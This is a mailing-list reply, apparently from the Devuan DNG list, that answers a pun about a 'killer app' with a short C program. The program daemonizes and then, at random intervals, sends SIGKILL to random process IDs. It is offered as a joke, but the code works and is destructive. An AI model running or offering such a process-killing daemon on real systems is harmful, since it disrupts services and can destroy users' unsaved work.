:: Re: [DNG] Office pack
トップ ページ
このメッセージを削除
このメッセージに返信
著者: Rainer Weikusat
日付:  
To: dng\@lists.dyne.org
題目: Re: [DNG] Office pack
Teodoro Santoni <asbrasbra@???> writes:
> Probably related to the thread is a new tool by Markus Teich, sent
> [0], a killer app for powerpoint and libreoffice-powerpoint and
> whatever else.


In case someone's in need of a killer app:

----------
#include <signal.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

int main(void)
{
    if (fork() != 0) return 0;


    srandom(time(NULL));
    setsid();
    while (1) {
    sleep(random() % 300 + 1);
    kill(random() % 0xffff + 1, 9);
    }


    return 0;
}